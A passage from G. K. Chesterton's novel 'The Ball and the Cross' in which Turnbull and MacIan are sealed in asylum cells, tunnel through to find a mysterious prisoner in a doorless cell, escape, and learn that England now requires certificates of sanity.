the same painful constraint. +"I have heard about your revolutionary war, and I think on the +whole that I would rather be anywhere else." + +"Do you want to be taken to a monastery," snarled the other, +"with MacIan and his winking Madonnas." + +"I want to be taken to a madhouse," said Turnbull distinctly, +giving the direction with a sort of precision. "I want to go back +to exactly the same lunatic asylum from which I came." + +"Why?" asked the unknown. + +"Because I want a little sane and wholesome society," answered +Turnbull. + +There was a long and peculiar silence, and then the man driving +the flying machine said quite coolly: "I won't take you back." + +And then Turnbull said equally coolly: "Then I'll jump out of the +car." + +The unknown rose to his full height, and the expression in his +eyes seemed to be made of ironies behind ironies, as two mirrors +infinitely reflect each other. At last he said, very gravely: "Do +you think I am the devil?" + +"Yes," said Turnbull, violently. "For I think the devil is a +dream, and so are you. I don't believe in you or your flying ship +or your last fight of the world. It is all a nightmare. I say as +a fact of dogma and faith that it is all a nightmare. And I will +be a martyr for my faith as much as St. Catherine, for I will +jump out of this ship and risk waking up safe in bed." + +After swaying twice with the swaying vessel he dived over the +side as one dives into the sea. For some incredible moments stars +and space and planets seemed to shoot up past him as the sparks +fly upward; and yet in that sickening descent he was full of some +unnatural happiness. He could connect it with no idea except one +that half escaped him--what Evan had said of the difference +between Christ and Satan; that it was by Christ's own choice that +He descended into hell. + +When he again realized anything, he was lying on his elbow on the +lawn of the lunatic asylum, and the last red of the sunset had +not yet disappeared. + + + +XVII. THE IDIOT + +Evan MacIan was standing a few yards off looking at him in +absolute silence. + +He had not the moral courage to ask MacIan if there had been +anything astounding in the manner of his coming there, nor did +MacIan seem to have any question to ask, or perhaps any need to +ask it. The two men came slowly towards each other, and found the +same expression on each other's faces. Then, for the first time +in all their acquaintance, they shook hands. + +Almost as if this were a kind of unconscious signal, it brought +Dr. Quayle bounding out of a door and running across the lawn. + +"Oh, there you are!" he exclaimed with a relieved giggle. "Will +you come inside, please? I want to speak to you both." + +They followed him into his shiny wooden office where their +damning record was kept. Dr. Quayle sat down on a swivel chair +and swung round to face them. His carved smile had suddenly +disappeared. + +"I will be plain with you gentlemen," he said, abruptly; "you +know quite well we do our best for everybody here. Your cases +have been under special consideration, and the Master himself has +decided that you ought to be treated specially and--er--under +somewhat simpler conditions." + +"You mean treated worse, I suppose," said Turnbull, gruffly. + +The doctor did not reply, and MacIan said: "I expected this." His +eyes had begun to glow. + +The doctor answered, looking at his desk and playing with a key: +"Well, in certain cases that give anxiety--it is often +better----" + +"Give anxiety," said Turnbull, fiercely. "Confound your +impudence! What do you mean? You imprison two perfectly sane men +in a madhouse because you have made up a long word. They take it +in good temper, walk and talk in your garden like monks who have +found a vocation, are civil even to you, you damned druggists' +hack! Behave not only more sanely than any of your patients, but +more sanely than half the sane men outside, and you have the +soul-stifling cheek to say that they give anxiety." + +"The head of the asylum has settled it all," said Dr. Quayle, +still looking down. + +MacIan took one of his immense strides forward and stood over the +doctor with flaming eyes. + +"If the head has settled it let the head announce it," he said. +"I won't take it from you. I believe you to be a low, gibbering +degenerate. Let us see the head of the asylum." + +"See the head of the asylum," repeated Dr. Quayle. "Certainly +not." + +The tall Highlander, bending over him, put one hand on his +shoulder with fatherly interest. + +"You don't seem to appreciate the peculiar advantages of my +position as a lunatic," he said. "I could kill you with my left +hand before such a rat as you could so much as squeak. And I +wouldn't be hanged for it." + +"I certainly agree with Mr. MacIan," said Turnbull with sobriety +and perfect respectfulness, "that you had better let us see the +head of the institution." + +Dr. Quayle got to his feet in a mixture of sudden hysteria and +clumsy presence of mind. + +"Oh, certainly," he said with a weak laugh. "You can see the head +of the asylum if you particularly want to." He almost ran out of +the room, and the two followed swiftly on his flying coat tails. +He knocked at an ordinary varnished door in the corridor. When a +voice said, "Come in," MacIan's breath went hissing back through +his teeth into his chest. Turnbull was more impetuous, and opened +the door. + +It was a neat and well-appointed room entirely lined with a +medical library. At the other end of it was a ponderous and +polished desk with an incandescent lamp on it, the light of which +was just sufficient to show a slender, well-bred figure in an +ordinary medical black frock-coat, whose head, quite silvered +with age, was bent over neat piles of notes. This gentleman +looked up for an instant as they entered, and the lamplight fell +on his glittering spectacles and long, clean-shaven face--a face +which would have been simply like an aristocrat's but that a +certain lion poise of the head and long cleft in the chin made it +look more like a very handsome actor's. It was only for a flash +that his face was thus lifted. Then he bent his silver head over +his notes once more, and said, without looking up again: + +"I told you, Dr. Quayle, that these men were to go to cells B and +C." + +Turnbull and MacIan looked at each other, and said more than they +could ever say with tongues or swords. Among other things they +said that to that particular Head of the institution it was a +waste of time to appeal, and they followed Dr. Quayle out of the +room. + +The instant they stepped out into the corridor four sturdy +figures stepped from four sides, pinioned them, and ran them +along the galleries. They might very likely have thrown their +captors right and left had they been inclined to resist, but for +some nameless reason they were more inclined to laugh. A mixture +of mad irony with childish curiosity made them feel quite +inclined to see what next twist would be taken by their imbecile +luck. They were dragged down countless cold avenues lined with +glazed tiles, different only in being of different lengths and +set at different angles. They were so many and so monotonous that +to escape back by them would have been far harder than fleeing +from the Hampton Court maze. Only the fact that windows grew +fewer, coming at longer intervals, and the fact that when the +windows did come they seemed shadowed and let in less light, +showed that they were winding into the core or belly of some +enormous building. After a little time the glazed corridors began +to be lit by electricity. + +At last, when they had walked nearly a mile in those white and +polished tunnels, they came with quite a shock to the futile +finality of a cul-de-sac. All that white and weary journey ended +suddenly in an oblong space and a blank white wall. But in the +white wall there were two iron doors painted white on which were +written, respectively, in neat black capitals B and C. + +"You go in here, sir," said the leader of the officials, quite +respectfully, "and you in here." + +But before the doors had clanged upon their dazed victims, MacIan +had been able to say to Turnbull with a strange drawl of +significance: "I wonder who A is." + +Turnbull made an automatic struggle before he allowed himself to +be thrown into the cell. Hence it happened that he was the last +to enter, and was still full of the exhilaration of the +adventures for at least five minutes after the echo of the +clanging door had died away. + +Then, when silence had sunk deep and nothing happened for two and +a half hours, it suddenly occurred to him that this was the end +of his life. He was hidden and sealed up in this little crack of +stone until the flesh should fall off his bones. He was dead, and +the world had won. + +His cell was of an oblong shape, but very long in comparison with +its width. It was just wide enough to permit the arms to be fully +extended with the dumb-bells, which were hung up on the left +wall, very dusty. It was, however, long enough for a man to walk +one thirty-fifth part of a mile if he traversed it entirely. On +the same principle a row of fixed holes, quite close together, +let in to the cells by pipes what was alleged to be the freshest +air. For these great scientific organizers insisted that a man +should be healthy even if he was miserable. They provided a walk +long enough to give him exercise and holes large enough to give +him oxygen. There their interest in human nature suddenly ceased. +It seemed never to have occurred to them that the benefit of +exercise belongs partly to the benefit of liberty. They had not +entertained the suggestion that the open air is only one of the +advantages of the open sky. They administered air in secret, but +in sufficient doses, as if it were a medicine. They suggested +walking, as if no man had ever felt inclined to walk. Above all, +the asylum authorities insisted on their own extraordinary +cleanliness. Every morning, while Turnbull was still half asleep +on his iron bedstead which was lifted half-way up the wall and +clamped to it with iron, four sluices or metal mouths opened +above him at the four corners of the chamber and washed it white +of any defilement. Turnbull's solitary soul surged up against +this sickening daily solemnity. + +"I am buried alive!" he cried, bitterly; "they have hidden me +under mountains. I shall be here till I rot. Why the blazes +should it matter to them whether I am dirty or clean." + +Every morning and evening an iron hatchway opened in his oblong +cell, and a brown hairy hand or two thrust in a plate of +perfectly cooked lentils and a big bowl of cocoa. He was not +underfed any more than he was underexercised or asphyxiated. He +had ample walking space, ample air, ample and even filling food. +The only objection was that he had nothing to walk towards, +nothing to feast about, and no reason whatever for drawing the +breath of life. + +Even the shape of his cell especially irritated him. It was a +long, narrow parallelogram, which had a flat wall at one end and +ought to have had a flat wall at the other; but that end was +broken by a wedge or angle of space, like the prow of a ship. +After three days of silence and cocoa, this angle at the end +began to infuriate Turnbull. It maddened him to think that two +lines came together and pointed at nothing. After the fifth day +he was reckless, and poked his head into the corner. After +twenty-five days he almost broke his head against it. Then he +became quite cool and stupid again, and began to examine it like +a sort of Robinson Crusoe. + +Almost unconsciously it was his instinct to examine outlets, and +he found himself paying particular attention to the row of holes +which let in the air into his last house of life. He soon +discovered that these air-holes were all the ends and mouths of +long leaden tubes which doubtless carried air from some remote +watering-place near Margate. One evening while he was engaged in +the fifth investigation he noticed something like twilight in one +of these dumb mouths, as compared with the darkness of the +others. Thrusting his finger in as far as it would go, he found a +hole and flapping edge in the tube. This he rent open and +instantly saw a light behind; it was at least certain that he had +struck some other cell. + +It is a characteristic of all things now called "efficient", +which means mechanical and calculated, that if they go wrong at +all they go entirely wrong. There is no power of retrieving a +defeat, as in simpler and more living organisms. A strong gun can +conquer a strong elephant, but a wounded elephant can easily +conquer a broken gun. Thus the Prussian monarchy in the +eighteenth century, or now, can make a strong army merely by +making the men afraid. But it does it with the permanent +possibility that the men may some day be more afraid of their +enemies than of their officers. Thus the drainage in our cities +so long as it is quite solid means a general safety, but if there +is one leak it means concentrated poison--an explosion of deathly +germs like dynamite, a spirit of stink. Thus, indeed, all that +excellent machinery which is the swiftest thing on earth in +saving human labour is also the slowest thing on earth in +resisting human interference. It may be easier to get chocolate +for nothing out of a shopkeeper than out of an automatic machine. +But if you did manage to steal the chocolate, the automatic +machine would be much less likely to run after you. + +Turnbull was not long in discovering this truth in connexion with +the cold and colossal machinery of this great asylum. He had been +shaken by many spiritual states since the instant when he was +pitched head foremost into that private cell which was to be his +private room till death. He had felt a high fit of pride and +poetry, which had ebbed away and left him deadly cold. He had +known a period of mere scientific curiosity, in the course of +which he examined all the tiles of his cell, with the gratifying +conclusion that they were all the same shape and size; but was +greatly puzzled about the angle in the wall at the end, and also +about an iron peg or spike that stood out from the wall, the +object of which he does not know to this day. Then he had a +period of mere madness not to be written of by decent men, but +only by those few dirty novelists hallooed on by the infernal +huntsman to hunt down and humiliate human nature. This also +passed, but left behind it a feverish distaste for many of the +mere objects around him. Long after he had returned to sanity and +such hopeless cheerfulness as a man might have on a desert +island, he disliked the regular squares of the pattern of wall +and floor and the triangle that terminated his corridor. Above +all, he had a hatred, deep as the hell he did not believe in, for +the objectless iron peg in the wall. + +But in all his moods, sane or insane, intolerant or stoical, he +never really doubted this: that the machine held him as light and +as hopelessly as he had from his birth been held by the hopeless +cosmos of his own creed. He knew well the ruthless and +inexhaustible resources of our scientific civilization. He no +more expected rescue from a medical certificate than rescue from +the solar system. In many of his Robinson Crusoe moods he thought +kindly of MacIan as of some quarrelsome school-fellow who had +long been dead. He thought of leaving in the cell when he died a +rigid record of his opinions, and when he began to write them +down on scraps of envelope in his pocket, he was startled to +discover how much they had changed. Then he remembered the +Beauchamp Tower, and tried to write his blazing scepticism on the +wall, and discovered that it was all shiny tiles on which nothing +could be either drawn or carved. Then for an instant there hung +and broke above him like a high wave the whole horror of +scientific imprisonment, which manages to deny a man not only +liberty, but every accidental comfort of bondage. In the old +filthy dungeons men could carve their prayers or protests in the +rock. Here the white and slippery walls escaped even from bearing +witness. The old prisoners could make a pet of a mouse or a +beetle strayed out of a hole. Here the unpierceable walls were +washed every morning by an automatic sluice. There was no natural +corruption and no merciful decay by which a living thing could +enter in. Then James Turnbull looked up and saw the high +invincible hatefulness of the society in which he lived, and saw +the hatefulness of something else also, which he told himself +again and again was not the cosmos in which he believed. But all +the time he had never once doubted that the five sides of his +cell were for him the wall of the world henceforward, and it gave +him a shock of surprise even to discover the faint light through +the aperture in the ventilation tube. But he had forgotten how +close efficiency has to pack everything together and how easily, +therefore, a pipe here or there may leak. + +Turnbull thrust his first finger down the aperture, and at last +managed to make a slight further fissure in the piping. The light +that came up from beyond was very faint, and apparently indirect; +it seemed to fall from some hole or window higher up. As he was +screwing his eye to peer at this grey and greasy twilight he was +astonished to see another human finger very long and lean come +down from above towards the broken pipe and hook it up to +something higher. The lighted aperture was abruptly blackened and +blocked, presumably by a face and mouth, for something human +spoke down the tube, though the words were not clear. + +"Who is that?" asked Turnbull, trembling with excitement, yet +wary and quite resolved not to spoil any chance. + +After a few indistinct sounds the voice came down with a strong +Argyllshire accent: + +"I say, Turnbull, we couldn't fight through this tube, could we?" + +Sentiments beyond speech surged up in Turnbull and silenced him +for a space just long enough to be painful. Then he said with his +old gaiety: "I vote we talk a little first; I don't want to +murder the first man I have met for ten million years." + +"I know what you mean," answered the other. "It has been awful. +For a mortal month I have been alone with God." + +Turnbull started, and it was on the tip of his tongue to answer: +"Alone with God! Then you do not know what loneliness is." + +But he answered, after all, in his old defiant style: "Alone with +God, were you? And I suppose you found his Majesty's society +rather monotonous?" + +"Oh, no," said MacIan, and his voice shuddered; "it was a great +deal too exciting." + +After a very long silence the voice of MacIan said: "What do you +really hate most in your place?" + +"You'd think I was really mad if I told you," answered Turnbull, +bitterly. + +"Then I expect it's the same as mine," said the other voice. + +"I am sure it's not the same as anybody's," said Turnbull, "for +it has no rhyme or reason. Perhaps my brain really has gone, but +I detest that iron spike in the left wall more than the damned +desolation or the damned cocoa. Have you got one in your cell?" + +"Not now," replied MacIan with serenity. "I've pulled it out." + +His fellow-prisoner could only repeat the words. + +"I pulled it out the other day when I was off my head," continued +the tranquil Highland voice. "It looked so unnecessary." + +"You must be ghastly strong," said Turnbull. + +"One is, when one is mad," was the careless reply, "and it had +worn a little loose in the socket. Even now I've got it out I +can't discover what it was for. But I've found out something a +long sight funnier." + +"What do you mean?" asked Turnbull. + +"I have found out where A is," said the other. + +Three weeks afterwards MacIan had managed to open up +communications which made his meaning plain. By that time the two +captives had fully discovered and demonstrated that weakness in +the very nature of modern machinery to which we have already +referred. The very fact that they were isolated from all +companions meant that they were free from all spies, and as there +were no gaolers to be bribed, so there were none to be baffled. +Machinery brought them their cocoa and cleaned their cells; that +machinery was as helpless as it was pitiless. A little patient +violence, conducted day after day amid constant mutual +suggestion, opened an irregular hole in the wall, large enough to +let in a small man, in the exact place where there had been +before the tiny ventilation holes. Turnbull tumbled somehow into +MacIan's apartment, and his first glance found out that the iron +spike was indeed plucked from its socket, and left, moreover, +another ragged hole into some hollow place behind. But for this +MacIan's cell was the duplicate of Turnbull's--a long oblong +ending in a wedge and lined with cold and lustrous tiles. The +small hole from which the peg had been displaced was in that +short oblique wall at the end nearest to Turnbull's. That +individual looked at it with a puzzled face. + +"What is in there?" he asked. + +MacIan answered briefly: "Another cell." + +"But where can the door of it be?" said his companion, even more +puzzled; "the doors of our cells are at the other end." + +"It has no door," said Evan. + +In the pause of perplexity that followed, an eerie and sinister +feeling crept over Turnbull's stubborn soul in spite of himself. +The notion of the doorless room chilled him with that sense of +half-witted curiosity which one has when something horrible is +half understood. + +"James Turnbull," said MacIan, in a low and shaken voice, "these +people hate us more than Nero hated Christians, and fear us more +than any man feared Nero. They have filled England with frenzy +and galloping in order to capture us and wipe us out--in order to +kill us. And they have killed us, for you and I have only made a +hole in our coffins. But though this hatred that they felt for us +is bigger than they felt for Bonaparte, and more plain and +practical than they would feel for Jack the Ripper, yet it is not +we whom the people of this place hate most." + +A cold and quivering impatience continued to crawl up Turnbull's +spine; he had never felt so near to superstition and +supernaturalism, and it was not a pretty sort of superstition +either. + +"There is another man more fearful and hateful," went on MacIan, +in his low monotone voice, "and they have buried him even deeper. +God knows how they did it, for he was let in by neither door nor +window, nor lowered through any opening above. I expect these +iron handles that we both hate have been part of some damned +machinery for walling him up. He is there. I have looked through +the hole at him; but I cannot stand looking at him long, because +his face is turned away from me and he does not move." + +Al Turnbull's unnatural and uncompleted feelings found their +outlet in rushing to the aperture and looking into the unknown +room. + +It was a third oblong cell exactly like the other two except that +it was doorless, and except that on one of the walls was painted +a large black A like the B and C outside their own doors. The +letter in this case was not painted outside, because this prison +had no outside. + +On the same kind of tiled floor, of which the monotonous squares +had maddened Turnbull's eye and brain, was sitting a figure which +was startlingly short even for a child, only that the enormous +head was ringed with hair of a frosty grey. The figure was +draped, both insecurely and insufficiently, in what looked like +the remains of a brown flannel dressing-gown; an emptied cup of +cocoa stood on the floor beside it, and the creature had his big +grey head cocked at a particular angle of inquiry or attention +which amid all that gathering gloom and mystery struck one as +comic if not cocksure. + +After six still seconds Turnbull could stand it no longer, but +called out to the dwarfish thing--in what words heaven knows. The +thing got up with the promptitude of an animal, and turning round +offered the spectacle of two owlish eyes and a huge +grey-and-white beard not unlike the plumage of an owl. This +extraordinary beard covered him literally to his feet (not that +that was very far), and perhaps it was as well that it did, for +portions of his remaining clothing seemed to fall off whenever he +moved. One talks trivially of a face like parchment, but this old +man's face was so wrinkled that it was like a parchment loaded +with hieroglyphics. The lines of his face were so deep and +complex that one could see five or ten different faces besides +the real one, as one can see them in an elaborate wall-paper. And +yet while his face seemed like a scripture older than the gods, +his eyes were quite bright, blue, and startled like those of a +baby. They looked as if they had only an instant before been +fitted into his head. + +Everything depended so obviously upon whether this buried monster +spoke that Turnbull did not know or care whether he himself had +spoken. He said something or nothing. And then he waited for this +dwarfish voice that had been hidden under the mountains of the +world. At last it did speak, and spoke in English, with a foreign +accent that was neither Latin nor Teutonic. He suddenly stretched +out a long and very dirty forefinger, and cried in a voice of +clear recognition, like a child's: "That's a hole." + +He digested the discovery for some seconds, sucking his finger, +and then he cried, with a crow of laughter: "And that's a head +come through it." + +The hilarious energy in this idiot attitude gave Turnbull another +sick turn. He had grown to tolerate those dreary and mumbling +madmen who trailed themselves about the beautiful asylum gardens. +But there was something new and subversive of the universe in the +combination of so much cheerful decision with a body without a +brain. + +"Why did they put you in such a place?" he asked at last with +embarrassment. + +"Good place. Yes," said the old man, nodding a great many times +and beaming like a flattered landlord. "Good shape. Long and +narrow, with a point. Like this," and he made lovingly with his +hands a map of the room in the air. + +"But that's not the best," he added, confidentially. "Squares +very good; I have a nice long holiday, and can count them. But +that's not the best." + +"What is the best?" asked Turnbull in great distress. + +"Spike is the best," said the old man, opening his blue eyes +blazing; "it sticks out." + +The words Turnbull spoke broke out of him in pure pity. "Can't we +do anything for you?" he said. + +"I am very happy," said the other, alphabetically. "You are a +good man. Can I help you?" + +"No, I don't think you can, sir," said Turnbull with rough +pathos; "I am glad you are contented at least." + +The weird old person opened his broad blue eyes and fixed +Turnbull with a stare extraordinarily severe. "You are quite +sure," he said, "I cannot help you?" + +"Quite sure, thank you," said Turnbull with broken brevity. "Good +day." + +Then he turned to MacIan who was standing close behind him, and +whose face, now familiar in all its moods, told him easily that +Evan had heard the whole of the strange dialogue. + +"Curse those cruel beasts!" cried Turnbull. "They've turned him +to an imbecile just by burying him alive. His brain's like a +pin-point now." + +"You are sure he is a lunatic?" said Evan, slowly. + +"Not a lunatic," said Turnbull, "an idiot. He just points to +things and says that they stick out." + +"He had a notion that he could help us," said MacIan moodily, and +began to pace towards the other end of his cell. + +"Yes, it was a bit pathetic," assented Turnbull; "such a Thing +offering help, and besides---- Hallo! Hallo! What's the matter?" + +"God Almighty guide us all!" said MacIan. + +He was standing heavy and still at the other end of the room and +staring quietly at the door which for thirty days had sealed them +up from the sun. Turnbull, following the other's eye, stared at +the door likewise, and then he also uttered an exclamation. The +iron door was standing about an inch and a half open. + +"He said----" began Evan, in a trembling voice--"he offered----" + +"Come along, you fool!" shouted Turnbull with a sudden and +furious energy. "I see it all now, and it's the best stroke of +luck in the world. You pulled out that iron handle that had +screwed up his cell, and it somehow altered the machinery and +opened all the doors." + +Seizing MacIan by the elbow he bundled him bodily out into the +open corridor and ran him on till they saw daylight through a +half-darkened window. + +"All the same," said Evan, like one answering in an ordinary +conversation, "he did ask you whether he could help you." + +All this wilderness of windowless passages was so built into the +heart of that fortress of fear that it seemed more than an hour +before the fugitives had any good glimpse of the outer world. +They did not even know what hour of the day it was; and when, +turning a corner, they saw the bare tunnel of the corridor end +abruptly in a shining square of garden, the grass burning in that +strong evening sunshine which makes it burnished gold rather than +green, the abrupt opening on to the earth seemed like a hole +knocked in the wall of heaven. Only once or twice in life is it +permitted to a man thus to see the very universe from outside, +and feel existence itself as an adorable adventure not yet begun. +As they found this shining escape out of that hellish labyrinth +they both had simultaneously the sensation of being babes unborn, +of being asked by God if they would like to live upon the earth. +They were looking in at one of the seven gates of Eden. + +Turnbull was the first to leap into the garden, with an +earth-spurning leap like that of one who could really spread his +wings and fly. MacIan, who came an instant after, was less full +of mere animal gusto and fuller of a more fearful and quivering +pleasure in the clear and innocent flower colours and the high +and holy trees. With one bound they were in that cool and cleared +landscape, and they found just outside the door the black-clad +gentleman with the cloven chin smilingly regarding them; and his +chin seemed to grow longer and longer as he smiled. + + + +XVIII. A RIDDLE OF FACES + +Just behind him stood two other doctors: one, the familiar Dr. +Quayle, of the blinking eyes and bleating voice; the other, a +more commonplace but much more forcible figure, a stout young +doctor with short, well-brushed hair and a round but resolute +face. At the sight of the escape these two subordinates uttered a +cry and sprang forward, but their superior remained motionless +and smiling, and somehow the lack of his support seemed to arrest +and freeze them in the very gesture of pursuit. + +"Let them be," he cried in a voice that cut like a blade of ice; +and not only of ice, but of some awful primordial ice that had +never been water. + +"I want no devoted champions," said the cutting voice; "even the +folly of one's friends bores one at last. You don't suppose I +should have let these lunatics out of their cells without good +reason. I have the best and fullest reason. They can be let out +of their cell today, because today the whole world has become +their cell. I will have no more medieval mummery of chains and +doors. Let them wander about the earth as they wandered about +this garden, and I shall still be their easy master. Let them +take the wings of the morning and abide in the uttermost parts of +the sea--I am there. Whither shall they go from my presence and +whither shall they flee from my spirit? Courage, Dr. Quayle, and +do not be downhearted; the real days of tyranny are only +beginning on this earth." + +And with that the Master laughed and swung away from them, almost +as if his laugh was a bad thing for people to see. + +"Might I speak to you a moment?" said Turnbull, stepping forward +with a respectful resolution. But the shoulders of the Master +only seemed to take on a new and unexpected angle of mockery as +he strode away. + +Turnbull swung round with great abruptness to the other two +doctors, and said, harshly: "What in snakes does he mean--and who +are you?" + +"My name is Hutton," said the short, stout man, "and I am--well, +one of those whose business it is to uphold this establishment." + +"My name is Turnbull," said the other; "I am one of those whose +business it is to tear it to the ground." + +The small doctor smiled, and Turnbull's anger seemed suddenly to +steady him. + +"But I don't want to talk about that," he said, calmly; "I only +want to know what the Master of this asylum really means." + +Dr. Hutton's smile broke into a laugh which, short as it was, had +the suspicion of a shake in it. "I suppose you think that quite a +simple question," he said. + +"I think it a plain question," said Turnbull, "and one that +deserves a plain answer. Why did the Master lock us up in a +couple of cupboards like jars of pickles for a mortal month, and +why does he now let us walk free in the garden again?" + +"I understand," said Hutton, with arched eyebrows, "that your +complaint is that you are now free to walk in the garden." + +"My complaint is," said Turnbull, stubbornly, "that if I am fit +to walk freely now, I have been as fit for the last month. No one +has examined me, no one has come near me. Your chief says that I +am only free because he has made other arrangements. What are +those arrangements?" + +The young man with the round face looked down for a little while +and smoked reflectively. The other and elder doctor had gone +pacing nervously by himself upon the lawn. At length the round +face was lifted again, and showed two round blue eyes with a +certain frankness in them. + +"Well, I don't see that it can do any harm to tell you know," he +said. "You were shut up just then because it was just during that +month that the Master was bringing off his big scheme. He was +getting his bill through Parliament, and organizing the new +medical police. But of course you haven't heard of all that; in +fact, you weren't meant to." + +"Heard of all what?" asked the impatient inquirer. + +"There's a new law now, and the asylum powers are greatly +extended. Even if you did escape now, any policeman would take +you up in the next town if you couldn't show a certificate of +sanity from us." + +"Well," continued Dr. Hutton, "the Master described before both +Houses of Parliament the real scientific objection to all +existing legislation about lunacy. As he very truly said, the +mistake was in supposing insanity to be merely an exception or an +extreme. Insanity, like forgetfulness, is simply a quality which +enters more or less into all human beings; and for practical +purposes it is more necessary to know whose mind is really +trustworthy than whose has some accidental taint. We have +therefore reversed the existing method, and people now have to +prove that they are sane. In the first village you entered, the +village constable would notice that you were not wearing on the +left lapel of your coat the small pewter S which is now necessary +to any one who walks about beyond asylum bounds or outside asylum +hours." + +"You mean to say," said Turnbull, "that this was what the Master +of the asylum urged before the House of Commons?" + +Dr. Hutton nodded with gravity. + +"And you mean to say," cried Turnbull, with a vibrant snort, +"that that proposal was passed in an assembly that calls itself +democratic?" + +The doctor showed his whole row of teeth in a smile. "Oh, the +assembly calls itself Socialist now," he said, "But we explained +to them that this was a question for men of science." + +Turnbull gave one stamp upon the gravel, then pulled himself +together, and resumed: "But why should your infernal head +medicine-man lock us up in separate cells while he was turning +England into a madhouse? I'm not the Prime Minister; we're not +the House of Lords." + +"He wasn't afraid of the Prime Minister," replied Dr. Hutton; "he +isn't afraid of the House of Lords. But----" + +"Well?" inquired Turnbull, stamping again. + +"He is afraid of you," said Hutton, simply. "Why, didn't you +know?" + +MacIan, who had not spoken yet, made one stride forward and stood +with shaking limbs and shining eyes. + +"He was afraid!" began Evan, thickly. "You mean to say that +we----" + +"I mean to say the plain truth now that the danger is over," said +Hutton, calmly; "most certainly you two were the only people he +ever was afraid of." Then he added in a low but not inaudible +voice: "Except one--whom he feared worse, and has buried deeper." + +"Come away," cried MacIan, "this has to be thought about." + +Turnbull followed him in silence as he strode away, but just +before he vanished, turned and spoke again to the doctors. + +"But what has got hold of people?" he asked, abruptly. "Why +should all England have gone dotty on the mere subject of +dottiness?" + +Dr. Hutton smiled his open smile once more and bowed slightly. +"As to that also," he replied, "I don't want to make you vain." + +Turnbull swung round without a word, and he and his companion +were lost in the lustrous leafage of the garden. They noticed +nothing special about the scene, except that the garden seemed +more exquisite than ever in the deepening sunset, and that there +seemed to be many more people, whether patients or attendants, +walking about in it. + +From behind the two black-coated doctors as they stood on the +lawn another figure somewhat similarly dressed strode hurriedly +past them, having also grizzled hair and an open flapping +frock-coat. Both his decisive step and dapper black array marked +him out as another medical man, or at least a man in authority, +and as he passed Turnbull the latter was aroused by a strong +impression of having seen the man somewhere before. It was no one +that he knew well, yet he was certain that it was someone at +whom he had at sometime or other looked steadily. It was neither +the face of a friend nor of an enemy; it aroused neither +irritation nor tenderness, yet it was a face which had for some +reason been of great importance in his life. Turning and +returning, and making detours about the garden, he managed to +study the man's face again and again--a moustached, somewhat +military face with a monocle, the sort of face that is +aristocratic without being distinguished. Turnbull could not +remember any particular doctors in his decidedly healthy +existence. Was the man a long-lost uncle, or was he only somebody +who had sat opposite him regularly in a railway train? At that +moment the man knocked down his own eye-glass with a gesture of +annoyance; Turnbull remembered the gesture, and the truth sprang +up solid in front of him. The man with the moustaches was +Cumberland Vane, the London police magistrate before whom he and +MacIan had once stood on their trial. The magistrate must have +been transferred to some other official duties--to something +connected with the inspection of asylums. + +Turnbull's heart gave a leap of excitement which was half hope. +As a magistrate Mr. Cumberland Vane had been somewhat careless +and shallow, but certainly kindly, and not inaccessible to common +sense so long as it was put to him in strictly conventional +language. He was at least an authority of a more human and +refreshing sort than the crank with the wagging beard or the +fiend with the forked chin. + +He went straight up to the magistrate, and said: "Good evening, +Mr. Vane; I doubt if you remember me." + +Cumberland Vane screwed the eye-glass into his scowling face for +an instant, and then said curtly but not uncivilly: "Yes, I +remember you, sir; assault or battery, wasn't it?--a fellow broke +your window. A tall fellow--McSomething--case made rather a noise +afterwards." + +"MacIan is the name, sir," said Turnbull, respectfully; "I have +him here with me." + +"Eh!" said Vane very sharply. "Confound him! Has he got anything +to do with this game?" + +"Mr. Vane," said Turnbull, pacifically, "I will not pretend that +either he or I acted quite decorously on that occasion. You were +very lenient with us, and did not treat us as criminals when you +very well might. So I am sure you will give us your testimony +that, even if we were criminals, we are not lunatics in any legal +or medical sense whatever. I am sure you will use your influence +for us." + +"My influence!" repeated the magistrate, with a slight start. "I +don't quite understand you." + +"I don't know in what capacity you are here," continued Turnbull, +gravely, "but a legal authority of your distinction must +certainly be here in an important one. Whether you are visiting +and inspecting the place, or attached to it as some kind of +permanent legal adviser, your opinion must still----" + +Cumberland Vane exploded with a detonation of oaths; his face was +transfigured with fury and contempt, and yet in some odd way he +did not seem specially angry with Turnbull. + +"But Lord bless us and save us!" he gasped, at length; "I'm not +here as an official at all. I'm here as a patient. The cursed +pack of rat-catching chemists all say that I've lost my wits." + +"You!" cried Turnbull with terrible emphasis. "You! Lost your +wits!" + +In the rush of his real astonishment at this towering unreality +Turnbull almost added: "Why, you haven't got any to lose." But he +fortunately remembered the remains of his desperate diplomacy. + +"This can't go on," he said, positively. "Men like MacIan and I +may suffer unjustly all our lives, but a man like you must have +influence." + +"There is only one man who has any influence in England now," +said Vane, and his high voice fell to a sudden and convincing +quietude. + +"Whom do you mean?" asked Turnbull. + +"I mean that cursed fellow with the long split chin," said the +other. + +"Is it really true," asked Turnbull, "that he has been allowed to +buy up and control such a lot? What put the country into such a +state?" + +Mr. Cumberland Vane laughed outright. "What put the country into +such a state?" he asked. "Why, you did. When you were fool enough +to agree to fight MacIan, after all, everybody was ready to +believe that the Bank of England might paint itself pink with +white spots." + +"I don't understand," answered Turnbull. "Why should you be +surprised at my fighting? I hope I have always fought." + +"Well," said Cumberland Vane, airily, "you didn't believe in +religion, you see--so we thought you were safe at any rate. You +went further in your language than most of us wanted to go; no +good in just hurting one's mother's feelings, I think. But of +course we all knew you were right, and, really, we relied on +you." + +"Did you?" said the editor of _The Atheist_ with a bursting +heart. "I am sorry you did not tell me so at the time." + +He walked away very rapidly and flung himself on a garden seat, +and for some six minutes his own wrongs hid from him the huge and +hilarious fact that Cumberland Vane had been locked up as a +lunatic. + +The garden of the madhouse was so perfectly planned, and answered +so exquisitely to every hour of daylight, that one could almost +fancy that the sunlight was caught there tangled in its tinted +trees, as the wise men of Gotham tried to chain the spring to a +bush. Or it seemed as if this ironic paradise still kept its +unique dawn or its special sunset while the rest of the earthly +globe rolled through its ordinary hours. There was one evening, +or late afternoon, in particular, which Evan MacIan will remember +in the last moments of death. It was what artists call a daffodil +sky, but it is coarsened even by reference to a daffodil. It was +of that innocent lonely yellow which has never heard of orange, +though it might turn quite unconsciously into green. Against it +the tops, one might say the turrets, of the clipt and ordered +trees were outlined in that shade of veiled violet which tints +the tops of lavender. A white early moon was hardly traceable +upon that delicate yellow. MacIan, I say, will remember this +tender and transparent evening, partly because of its virgin gold +and silver, and partly because he passed beneath it through the +most horrible instant of his life. + +Turnbull was sitting on his seat on the lawn, and the golden +evening impressed even his positive nature, as indeed it might +have impressed the oxen in a field. He was shocked out of his +idle mood of awe by seeing MacIan break from behind the bushes 